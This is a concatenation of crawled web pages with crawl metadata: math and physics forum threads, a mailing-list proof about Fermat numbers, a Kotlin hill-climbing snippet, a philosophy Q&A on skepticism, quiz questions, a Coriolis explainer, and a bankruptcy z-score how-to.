@anon: that is the assumption I made in my answer. – robjohn Oct 7 '11 at 0:05 | 817 | 2,310 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 1, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.09375 | 4 | CC-MAIN-2016-30 | latest | en | 0.679196 |
http://mathhelpforum.com/advanced-applied-math/173319-quantum-mechanics-angular-momentum-eigen-functions-part-5-a.html | 1,481,275,878,000,000,000 | text/html | crawl-data/CC-MAIN-2016-50/segments/1480698542687.37/warc/CC-MAIN-20161202170902-00155-ip-10-31-129-80.ec2.internal.warc.gz | 173,692,561 | 12,438 | Thread: Quantum Mechanics - Angular Momentum (Eigen Functions) part 5
1. Quantum Mechanics - Angular Momentum (Eigen Functions) part 5
Hi folks,
I have 2 queries
1) Finding Lx, Ly and Lz in spherical co ordinates
$
\displaystyle \nabla = \hat r \frac{\partial}{\partial r}+ \hat \theta \frac{1}{r} \frac{\partial}{\partial \theta}+ \hat \phi \frac{1}{ rsin \theta} \frac{\partial}{\partial \phi}
$
Based on attached schematic its given that $\mathbf r=r \hat r$, $(\hat r \times \hat r)=0$, $(\hat r \times \hat \theta)=\hat \phi$, $(\hat r \times \hat \phi)=-\hat \theta$
How are these determined?
2) The unit vectors $\hat \theta$ and $\hat \phi$ are to be resolved into their cartesian components. I believe I can get $\mathbf r$(based on schematic and that $s= r sin \theta$)
$
\mathbf r = x \mathbf i +y \mathbf j + z \mathbf k
\implies$
$
\mathbf r = r sin (\theta) cos (\phi) \mathbf i + r sin (\theta) sin (\phi) \mathbf j + r cos (\theta) \mathbf k
$
but I dont know how to get the units vectors in terms of their cartesian components $\hat \theta$ and $\hat \phi$
Any ideas?
2. For (1), I would just look at your picture and use the right-hand rule for cross products.
For (2), check this out.
3. Thats really useful thanks,
I am just wondering how they derived at equation 21, ie
$
\displaystyle \frac{d }{d \theta}(r cos (\theta) sin (\phi)) = - sin (\theta)
$
I thought it would have been $- r sin (\theta) sin (\phi)$??
4. You're correct. However, that's not quite what they're doing. For one thing, they're dividing by the length. So, if you first compute
$\displaystyle\frac{d\mathbf{r}}{d\theta}=\begin{bm atrix}-r\sin(\theta)\sin(\phi)\\ r\cos(\theta)\sin(\phi)\\ 0\end{bmatrix},$ and then find its length, which is
$\displaystyle\left|\frac{d\mathbf{r}}{d\theta}\rig ht|=r\sqrt{\sin^{2}(\theta)\sin^{2}(\phi)+\cos^{2} (\theta)\sin^{2}(\phi)}=r|\sin(\phi)|=r\sin(\phi),$
on account of the range of $\phi$ (the polar angle on this website), then you'll find that
$\hat{\mathbf{\theta}}=\dfrac{\dfrac{d\mathbf{r}}{d \theta}}{\left|\dfrac{d\mathbf{r}}{d\theta}\right| }=\dfrac{1}{r\sin(\phi)}\begin{bmatrix}-r\sin(\theta)\sin(\phi)\\ r\cos(\theta)\sin(\phi)\\ 0\end{bmatrix}=\begin{bmatrix}-\sin(\theta)\\ \cos(\theta)\\ 0\end{bmatrix},$
as they have. Does that make it clearer, perhaps?
5. Originally Posted by Ackbeet
You're correct. However, that's not quite what they're doing. For one thing, they're dividing by the length. So, if you first compute
$\displaystyle\frac{d\mathbf{r}}{d\theta}=\begin{bm atrix}-r\sin(\theta)\sin(\phi)\\ r\cos(\theta)\sin(\phi)\\ 0\end{bmatrix},$ and then find its length, which is
$\displaystyle\left|\frac{d\mathbf{r}}{d\theta}\rig ht|=r\sqrt{\sin^{2}(\theta)\sin^{2}(\phi)+\cos^{2} (\theta)\sin^{2}(\phi)}=r|\sin(\phi)|=r\sin(\phi),$
on account of the range of $\phi$ (the polar angle on this website), then you'll find that
$\hat{\mathbf{\theta}}=\dfrac{\dfrac{d\mathbf{r}}{d \theta}}{\left|\dfrac{d\mathbf{r}}{d\theta}\right| }=\dfrac{1}{r\sin(\phi)}\begin{bmatrix}-r\sin(\theta)\sin(\phi)\\ r\cos(\theta)\sin(\phi)\\ 0\end{bmatrix}=\begin{bmatrix}-\sin(\theta)\\ \cos(\theta)\\ 0\end{bmatrix},$
as they have. Does that make it clearer, perhaps?
Yes, thats almost making sense. Just couldnt find any reference in my books regarding the magnitude of a 3*1 matrix, ie your second line. Im guessing its an extended form of pythagoras, ie SRSS's...
Thanks
6. Originally Posted by bugatti79
Yes, thats almost making sense. Just couldnt find any reference in my books regarding the magnitude of a 3*1 matrix, ie your second line. Im guessing its an extended form of pythagoras, ie SRSS's...
Thanks
That is the Euclidean norm, or Euclidean length, or Euclidean magnitude of any vector in $\mathbb{R}^{n};$ that is, a vector of any dimension. So, you always have the formula
$\displaystyle\|\mathbf{r}\|_{2}=\sqrt{\sum_{j}r_{j }^{2}},$
or the SRSS's, as you abbreviated it. The subscript $2$ there on the norm symbol $\|\cdot\|$ denotes the Euclidean norm.
In a more concrete fashion, think about the equation for a sphere of radius $r$ centered at the origin:
$r^{2}=x^{2}+y^{2}+z^{2}.$
$r$ is also the magnitude of any vector going from the center of the sphere to a point on the sphere. The Euclidean length comes from that.
7. Originally Posted by Ackbeet
That is the Euclidean norm, or Euclidean length, or Euclidean magnitude of any vector in $\mathbb{R}^{n};$ that is, a vector of any dimension. So, you always have the formula
$\displaystyle\|\mathbf{r}\|_{2}=\sqrt{\sum_{j}r_{j }^{2}},$
or the SRSS's, as you abbreviated it. The subscript $2$ there on the norm symbol $\|\cdot\|$ denotes the Euclidean norm.
In a more concrete fashion, think about the equation for a sphere of radius $r$ centered at the origin:
$r^{2}=x^{2}+y^{2}+z^{2}.$
$r$ is also the magnitude of any vector going from the center of the sphere to a point on the sphere. The Euclidean length comes from that.
Perfect. Thanks!
8. You're welcome! | 1,601 | 5,015 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 37, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2016-50 | longest | en | 0.760131 |
http://list.seqfan.eu/pipermail/seqfan/2008-August/014543.html | 1,716,445,880,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058611.55/warc/CC-MAIN-20240523050122-20240523080122-00068.warc.gz | 17,955,130 | 2,028 | Max Alekseyev maxale at gmail.com
Fri Aug 1 00:18:25 CEST 2008
```2008/7/31 David Wilson <dwilson at gambitcomm.com>:
> A023394 ?= {prime p: 2^2^p == 1 (mod p)}
>
This is correct.
If prime p divides Fm = 2^(2^m)+1 then 2^(2^(m+1)) == 1 (mod p) and p
is of the form p = k*2^(m+2)+1 > 2^(m+1).
Taking squares p - 2^(m+1) times, we have got 2^(2^p) == 1 (mod p).
On the other hand, if 2^(2^p) == 1 (mod p) for prime p, consider a
sequence 2^(2^0), 2^(2^1), 2^(2^2), ..., 2^(2^p). Modulo p this
sequence ends with a bunch of 1's but right before first 1 it must
come -1 (as the only other square root of 1 modulo prime p), i.e., for
some m, 2^(2^m) == -1 (mod p), implying that p divides Fermat number
2^(2^m) + 1.
Regards,
Max
``` | 306 | 733 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5 | 4 | CC-MAIN-2024-22 | latest | en | 0.735769 |
https://www.thiscodeworks.com/horolezecky-algoritmus-hillclimbing-kotlin/625fca51955b110015ae1991 | 1,670,013,738,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710916.40/warc/CC-MAIN-20221202183117-20221202213117-00083.warc.gz | 1,076,334,528 | 13,875 | # Horolezecký algoritmus - HillClimbing
Wed Apr 20 2022 08:54:41 GMT+0000 (UTC)
Saved by @GoodRequest. #kotlin
```import kotlin.math.abs
const val riesenieSila = 92
const val riesenieSmer = 15
data class Riesenie(val sila: Int, val smer: Int) {
fun cost() : Int =
abs(riesenieSila - sila) +
abs(riesenieSmer - smer)
}
fun main() {
// vytvorenie nahodneho riesenia
var riesenie = Riesenie(50, 60)
while(true) {
// ziskanie susednych rieseni
val noveRiesenia = arrayOf(
Riesenie(riesenie.sila - 1, riesenie.smer),
Riesenie(riesenie.sila + 1, riesenie.smer),
Riesenie(riesenie.sila, riesenie.smer - 1),
Riesenie(riesenie.sila, riesenie.smer + 1)
)
val najlepsieNoveRiesenie = noveRiesenia.minByOrNull{ it.cost() }!!
// vyhodnotenie
if (najlepsieNoveRiesenie.cost() > riesenie.cost()) { break }
else { riesenie = najlepsieNoveRiesenie }
}
println("najlepsie riesenie - \${riesenie.sila} / \${riesenie.smer}")
}```
content_copyCOPY | 335 | 934 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2022-49 | latest | en | 0.072337 |
https://philosophy.stackexchange.com/questions/90314/second-order-skepticism | 1,718,806,372,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861825.75/warc/CC-MAIN-20240619122829-20240619152829-00104.warc.gz | 406,865,325 | 39,655 | # Second-order skepticism
Let "kS" = "It is known that S." Then kkS or k2S is a common hypothesis in epistemic logic (the full hypothesis can be stated as kS → k2S). So a second-order skeptic [SOS] at least denies that hypothesis as a general rule, but a more interesting case is the SOS who (a) denies that hypothesis and (b) accepts more first-order knowledge claims than would be stereotypical for a self-styled skeptic to accept. (Or you might accept that sometimes the hypothesis is true, and go on to deny or accept other things accordingly.)
Anyway, my interpretation of skepticism is as the "empty solution" to the inferential regress problem. The SOS can be represented as being confined to an empty solution space for the second-order problem. But what, then, about the other solutions?
So if something is known to be known, and if coherentistic justification is the appropriate kind of epistemic justification, then knowing that one knows means coherentistically justifying the proposition that one has coherentistically justified some other proposition. Or foundationalism leads to axioms from which it can be proved that we have proved something else from axioms. Or infinitism means infinitely long derivations of the fact that we have elsewhere provided for other infinitely long derivations.
What, then, do the hybrid accounts outline? For example, working with Susan Haack's foundherentism, do we talk about justifying our "crossword-puzzle" solutions using yet another "crossword puzzle"? Or for infinitary coherentism, do we embed one infinite epistemic cycle into another?
Or what happens when we iterate the k-operator beyond 2? I read an obscure essay one time by a philosophy professor who discussed indefinite/infinite iterations of kn, but I don't remember his name clearly ([something with an R] Bass I think), neither his argument (either the argument internally or the reason he made it).
• For myself, I don't see foundherentism as being different from what I understand by coherentism. Coherentism doesn't mean that any coherent theory is as good as any other. Theories are assessed by criteria including goodness of fit, simplicity, strength, consilience, etc. Coherentism just rejects the idea that there are foundational propositions that are ineluctably or indubitably true, and also the idea that an infinite regression of justification is feasible. Commented Apr 1, 2022 at 14:15
So, if you attack the problem of reliable knowledge through the lens of the Agrippan trilemma creating an extended metaphor with a computational basis, then the we can provide a quick translation between your functional notation and current theory and praxis.
• S - Intuition; this presupposes of course that S is more than linguistic. While Ryle's knowledge-how and knowledge-that are the base, knowledge might be characterized in a variety of ways some of which is not linguistic.
• kS - Skepticism and the Demand for Proof; here, we see humans have doubts, and two opposite positions on a spectrum are faith and disbelief. Skepticism strikes the middle ground; to have doubts is human, and is generally aligned as an enemy of faith. But there are traditional theological positions that embrace various forms of limited skepticism. The current Pope of the Catholic church is a man of science, for instance. This places him at odds with a local, fundamentalist cult leader. Here we use language to express skeptic intuitions in full and work on achieving a theory.
• k2S - Epistemology and the Examination of the Demand for Proof; now, if we begin to become skeptical of various positions on skepticism, then we are, I believe, in the heart of conventional epistemology, often entertaining argumentation about what constitutes an adequate position on skepticism. Should we embrace Academic skepticism in the modern age and in the face of the Gettier Problems? Should we allow some segment of faith, or rather, is faith such that we can't avoid it? Here we not only use language to express skeptical theory, but we also examine the various theories.
• k3S - Meta-epistemology and the Search for Good Method; now we are starting to get heady. When we begin to debate theory, we then turn theorization on itself; we do so intuitively at first, but like all things recursion, we then have the ability to fully harness our language faculty; but the moment we start asking questions about what generalized theories relate to building and evaluating epistemological theories, we have crossed another threshold. We can doubt whether we can doubt. We can doubt whether we can know. Radical skepticism or the belief that eudaimonia is the aim of knowledge-seeking are not just epistemological, they are normative in regards to the epistemological, and so are also meta-epistemological. One might object that such a meta-level is unnecessary, that the positions themselves are merely epistemological, but the skeptic mind attempts to justify the normative aspects of language use.
So, while one can say 'this skepticism is better than that skepticism', the astute thinker will immediately draw the former epistemological claim into doubt by questioning the knowledge-methods used to justify it. We can also attempt to put epistemological practice in a particular Weltanschauung. A feminist will have a different approach to epistemology, because feminism is likely to presuppose certain skeptical positions in relation to male-female relations. A theologian will try to craft a theory of doubt around their faith in God. An athiest presupposes certain skeptical positions about supernaturalism. It seems generally that there is a be a strong analog to formal theories such as proof theory and model theory when considering a range of issues important to skepticism and skepticism about skepticism, respectively.
So, recapitulate:
• We have doubt (S, skeptical intuitions)
• We can express and argue doubt (kS, skeptical theory)
• We can express and argue expressing and arguing doubt (k2S, epistemology)
• We can express and argue 'We can express and argue expressing and arguing doubt' (k3S, meta-epistemology)
These all seem intuitively reasonable and comprehensible and seems consistent with epistemology and meta-epistemology as currently practiced. Your question is what lies beyond this. Hic sunt dracones.
I would argue that the next target of skepticism turning on itself would be the examination of worldviews such that if one were to create a category to deal with the general class of all skepticism expressible and the relationship of all worldviews to skepticism, that is, the concern of all matters of faith, doubt, modality, reason, etc., then it makes sense to create a sort of universal set of discourse related to all propositions, arguments, and positions:
So far, I have created what I believe to be a largely positive account of philosophy, as the facts as have been presented are, I submit, consistent with tertiary sources on philosophy, whose specific content can be disputed, but not denied to exist. From here out, I believe the next level of recursion in skepticism would necessarily be a step from positive to normative claims meta-epistemology.
I'd tentatively submit having exhausted what are essentially positive claims about skepticism, one is simply left with original claims as to one's personal experience. On the one level, this is my worldview. As someone who has evolved his skepticism to a naturalized epistemology placed within the context of a general awareness of meta-epistemological concerns, I have simply exhausted, as you put it, the problem-space, at least in principle. I have taken permutation explosion, and created a system for locating claims within it through analytical means. But I now have to accept that my claims are rooted in bias and preference, and then set about my own worldview to discuss my worldview. So...
• k4+S - The Meta-Epistemological Examination of One's Meta-Epistemological Theory. Here, is the catchall category for all claims that are simply too complex to fit nicely in the simpler categories presented. For instance, consider the claim: "How do my emotional biases towards faith and skepticism color my worldview that affects my attitudes towards meta-epistemological discourse?" Certainly such a claim can be seen to be, in terms of predication, more complex than k3S by one degree of predicate. Here then is a simple proposition. We can create any meaningful kNs expression by simply meeting two criteria:
1. N matches degree of predication. In the example listed, "biases affect attitudes towards meta-epistemology" (Affect(biases,attitudes:meta-epistemological)) attitudes is the predicate with an epistemological property.
2. Attribution of skepticism to predication. In the example listed, the subject is conceptually related to skepticism. "Biases towards skepticism affect attitudes" (Affect(biases:skepticism,meta-epistemological)).
Thus, there is no limit to the depth of the kNS as a subject, though, obviously as a single claim, there are certain psycholinguistic limits to comprehension.
Is this useful? I suppose from an academic perspective, kNS would allow for the classification of the depth of skeptical predication, but I don't know that other for those of us who delight in mathematical pedantry, such a practice has any value.
• It's useful to me, you've brought up a lot of directions/applications this can go. It will take me a while to confirm this answer (maybe by tonight/tomorrow) but so until then I do want to express concern over my phrase "second-order skepticism." I feel I did not think that phrasing through, because while reading your answer, it occurred to me that I gave the impression of talking about "skepticism about skepticism," which is what second-order skepticism would normally be; in my head, I was thinking more "skepticism about a second-order k-operation." Commented Apr 1, 2022 at 17:57
• @KristianBerry I was riffing, and I didn't really read the question well. My bad! If I understand the question well, I may attempt another answer.
– J D
Commented Apr 2, 2022 at 13:08
• @KristianBerry Out of curiousity,, since foundherentism is a hybrid of two of the three trilemmas, is there a philosophical position that embraces aspects of all three to the best of your knowledge?
– J D
Commented Apr 2, 2022 at 13:13
• I haven't found any self-professed examples in the literature. This essay glosses an infinitism-coherentism merger, seems to have resources for a merger of all three, and maybe even for forming alternative images of the regress entirely. Commented Apr 2, 2022 at 13:44
• @J D, I finally sort of remembered what I was trying to ask. Replace "knows that" with "COH-knows/FOU-knows/INF-knows that." So when you have iterated k-operations, you can mix and match those, like, "I COH-know that I FOU-know that..." My question was supposed to be something about the plausibility of those k-iterations vs. just iterating a single k-operation (presumably FOU-like traditionally). Commented Apr 3, 2022 at 20:57 | 2,381 | 11,070 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2024-26 | latest | en | 0.954385 |
http://www.mcqslearn.com/applied/mathematics/functions.php | 1,531,756,949,000,000,000 | text/html | crawl-data/CC-MAIN-2018-30/segments/1531676589404.50/warc/CC-MAIN-20180716154548-20180716174548-00066.warc.gz | 516,698,418 | 6,934 | Practice functions in mathematics MCQs, mathematics test for online courses learning and test prep. Mathematical functions quiz has multiple choice questions (MCQ), functions in mathematics quiz questions and answers to learn.
Applied math practice test MCQ on additional revenue gained from selling one more unit of market offering is considered as with options additional revenue , marginal revenue , extra revenue and constant revenue problem solving skills for viva, competitive exam prep, interview questions with answer key. Free study guide is for online learning functions in mathematics quiz with MCQs to practice test questions with answers. Functions in Mathematics Video
MCQ. The additional revenue gained from selling one more unit of market offering is considered as
2. marginal revenue
3. extra revenue
4. constant revenue
B
MCQ. The type of function which contain two independent variables is classified as
1. bivariate function
2. univariate function
3. variate function
4. multivariate function
A
MCQ. The notation of mapping input values to output values is written as
1. f:x→y
2. f:y→x
3. x:y→f
4. y:x→f
A
MCQ. The set of all the possible input values for a function is classified as
1. lower limit
2. range
3. domain
4. upper limit
C
MCQ. In the function y = ƒ(x), the x is classified as
1. upper limit variable
2. independent variable
3. dependent variable
4. lower limit variable
B | 321 | 1,420 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2018-30 | latest | en | 0.847139 |
https://magicseaweed.com/news/why-the-spinning-earth-doesnt-impact-swells/11360/ | 1,571,391,743,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570986679439.48/warc/CC-MAIN-20191018081630-20191018105130-00236.warc.gz | 589,730,666 | 34,186 | # Why the Spinning Earth Doesn't Impact Swells
by on
Updated 171d ago
The Coriolis force is crucial when it comes to understanding the atmosphere and ocean, as I pointed out in a previous article (HERE) but there are also a few myths associated with it.
If you mention the word ‘Coriolis’ to anybody on the street, there is a good chance that they will tell you it is what makes the water go down the sink one way in the northern hemisphere and the other way in the southern hemisphere. Some people will claim to actually prove it. A few metres either side of the equator, typically in places like Kenya or Ecuador, you can find people who will show you how it works.
But of course, it’s a total myth. For a start, the Coriolis force is zero at the equator and very, very close to zero until you start getting hundreds of kilometres either side, so those demonstrations where people jump from one side of the line to the other are absurd. But even if you compared two sinks at high latitudes where the Coriolis force is significant, it still wouldn’t work, because the scale is all wrong. The Coriolis force depends on the Earth rotating underneath a moving object. In this case, the object (the water in the sink) moves such a short distance in such a short time that the rotation of the Earth underneath it isn’t nearly enough for any effect to be noticeable.
For the Coriolis force to have a significant effect the sink would have to be ridiculously large or the water flow would have to be ridiculously slow. More specifically, the diameter of the sink [in metres] divided by the velocity of the water [in m/s] would need to be about 10,000 before the Coriolis force started to have any effect. For example, with the water flowing at 1 m/s, the sink would have to be at least 10 km in diameter; or with a one-metre diameter sink, the water would have to flow slower than 0.1 millimetres per second.
Another thing you might be forgiven for thinking is that long-distance swells are affected by the Coriolis force – namely they swerve to the right in the northern hemisphere and to the left in the southern hemisphere. So, if you were tracking a swell thousands of kilometres from one side of the ocean to the other, you would need to take into account the Coriolis force. After all, the scale is big enough, right? Using the scaling argument above, the distance covered by ocean swells relative to their velocity is easily enough for the Coriolis force to be significant.
But no, swells are not affected by the Coriolis force. They don’t bend to the right in the northern hemisphere or to the left in the southern hemisphere. They travel in straight lines from the point of view of someone on the Earth’s surface.
Why? Because ocean swells do not carry any physical material from one place to another; they just carry energy. In the deep ocean, the particles beneath the waves just pass energy from one place to another, but the water itself doesn’t move any further than a few hundred metres. The particles under the waves move in closed circles similar in size to the wavelength of the waves, which is still too small for the Coriolis force to have much effect.
Ocean currents, on the other hand, are affected by the Coriolis force, because ocean currents are giant streams of water that creep around the Earth, transporting water from one part of the planet to the other.
Tides, too, are affected by the Coriolis force. The tide can be considered a wave, but one with a very long wavelength. Instead of a few hundred metres, the tide has a wavelength of thousands of kilometres. As a result, the movement of the particles beneath the surface is of such a large scale that it is easily deflected by the Coriolis force.
Cover shot by Helio Antonio. | 821 | 3,764 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2019-43 | latest | en | 0.960248 |
http://www.hectorparr.freeuk.com/hcp/quizdec01.htm | 1,511,415,786,000,000,000 | text/html | crawl-data/CC-MAIN-2017-47/segments/1510934806736.55/warc/CC-MAIN-20171123050243-20171123070243-00177.warc.gz | 393,859,108 | 1,974 | HOME
TREATISE:
. Quantum
Nodal Theory
ROMALDKIRK:
. Village
. Reservoirs
ESSAYS: COSMOLOGY
. Infinity
. Universe
ESSAYS: PHILOSOPHY
. Free Will
. Representation
. Conditionals
. Postscript
ESSAYS: ORGAN MUSIC
. Practising
. British Organs
. Hymn Playing
. Music Lovers
QUIZ QUESTIONS
. Quiz Archive
SERVICES
. Book Reviews
## Quiz of the Month (December 2001)
### Hector C. Parr
***
#### SOLUTION TO LAST MONTH'S QUIZ
``` 1). 6
2). 13
3). 8
Notes```
``` 1). Suppose x electors voted for A & B
y electors voted for B & C
z electors voted for A & C
Then x + z = 10
x + y = 9
y + z = 7
Solving, x = 6
y = 3
z = 4
Questions 2) and 3) may be solved by similar methods.```
#### THIS MONTH'S QUIZ
``` 1. The streets of the town of Yuletideville all run either
North-South or East-West, as shown. Each day a certain
Mr. Noel Carol who lives near junction A walks to his
office near junction B. How many different routes can
he take, assuming he walks no unnecessary distance?
2. If his office is moved to a new location at C, how many
routes can he then take for his walk to work?
3. If the office has yet another move to D, how many routes
can he then take?```
***
(c) Hector C. Parr (2001)
Back to Quiz Archive | 394 | 1,256 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3 | 3 | CC-MAIN-2017-47 | longest | en | 0.875889 |
https://www.physicsforums.com/threads/tension-question.378683/ | 1,527,096,023,000,000,000 | text/html | crawl-data/CC-MAIN-2018-22/segments/1526794865691.44/warc/CC-MAIN-20180523161206-20180523181206-00469.warc.gz | 804,937,699 | 15,305 | # Tension question!
1. Feb 15, 2010
### mybrohshi5
If i have a block (b) and attach a string and pull it to the right. in what direction will the tension be?
(b)------->me pulling to the right
is the tension of the string to the right cause that is the way i am pulling or is the tension in the string to the left because that is the direction the block is resisting the pull?
thank you..... just trying to understand tension for my exam tomorrow
2. Feb 16, 2010
### Lsos
To every action there is an equal and opposite reaction...
3. Feb 16, 2010
### mybrohshi5
So would the tension in the string be to the left then in the direction the block is resisting the force?
thanks :)
4. Feb 16, 2010
### tiny-tim
Hi mybrohshi5!
Tension acts both ways.
Imagine a tiny litle bit of the string … it's in equilibrium, so the total external forces on it are zero …
the only forces are its weight (usually negligible), and the pulling force at each end.
That force at each end is the tension, T … you can see it acts in both directions!
If you pull a string with a block on the other end, and the tension is T, then the force on you is T towards the block, and the force on the block is T towards you.
5. Feb 16, 2010
### spanky489
there is tension in the string pointing towards the direction its pulling and in the opposite is usually static or kinetic friction, depends if the object is moving or not.
Share this great discussion with others via Reddit, Google+, Twitter, or Facebook | 373 | 1,498 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.53125 | 4 | CC-MAIN-2018-22 | longest | en | 0.917116 |
http://wiki.fool.com/How_to_Calculate_the_Probability_of_Bankruptcy | 1,440,905,650,000,000,000 | text/html | crawl-data/CC-MAIN-2015-35/segments/1440644064869.18/warc/CC-MAIN-20150827025424-00070-ip-10-171-96-226.ec2.internal.warc.gz | 261,470,435 | 14,920 | What is Foolsaurus?
It's a glossary of investing terms edited and maintained by our analysts, writers and YOU, our Foolish community. Get Started Now!
# How to Calculate the Probability of Bankruptcy
Original post by Cynthia Hartman of Demand Media
The z-score helps describe a company's future business success or failure.
A publicly held company's probability of bankruptcy can be calculated using a method called the z-score, also known as the standard score. The formula, originated in the 1960s by New York University assistant professor Edward Altman, requires calculation of several financial statement ratios and the firm's equity value. These results are plugged into a simple formula that weighs the five financial ratios differently, producing a z-score that predicts the firm's likelihood of future bankruptcy.
## Contents
### Step 1
Locate an income statement and balance sheet from a publicly held company you want to analyze. Make sure the statements represent the same time period. From the income statement, you will need the company's sales figure and earnings before income and taxes (EBIT). From the balance sheet, you will need to know current assets, total assets, current liabilities, total liabilities and retained earnings.
### Step 2
Find the current market value for the firm's equity. Using a site such as Yahoo! Finance, enter the company's ticker symbol. Look for "market capitalization" on the company's financial information page. This represents the market value of the company's equity, or the outstanding shares multiplied by the current share price.
### Step 3
Calculate the necessary ratios. Using R for ratio, R1 is working capital divided by total assets. Working capital is current assets minus current liabilities. R2 is retained earnings divided by total assets. R3 is EBIT divided by total assets. R4 is the market value of equity divided by total liabilities. R5 is sales divided by total assets.
### Step 4
Plug each ratio into the z-score formula as follows to calculate the company's z-score. The formula is: 1.2*R1 + 1.4*R2 + 3.3*R3 + .6*R4 + .999*R5.
### Step 5
Interpret the result. In general, the lower the result the higher risk the company runs of entering bankruptcy. Firms with a z-score above 3 are considered healthy, while those between 1.8 and 3 are considered in danger.
```
inline.find('script').remove();
jQuery('#article p').eq(1).after(inline);
});
```
### References
Cynthia Hartman started writing in 2007 and has written for several different websites. She brings more than 20 years of experience in finance and business ownership. Hartman holds a Bachelor of Science in finance and business economics from the University of Southern California.
### Photo Credits
• Comstock Images/Comstock/Getty Images | 594 | 2,793 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.609375 | 4 | CC-MAIN-2015-35 | longest | en | 0.941458 |
https://www.gradesaver.com/textbooks/math/calculus/calculus-3rd-edition/chapter-1-precalculus-review-1-4-trigonometric-functions-exercises-page-30/11 | 1,726,790,729,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700652073.91/warc/CC-MAIN-20240919230146-20240920020146-00294.warc.gz | 711,995,191 | 12,349 | ## Calculus (3rd Edition)
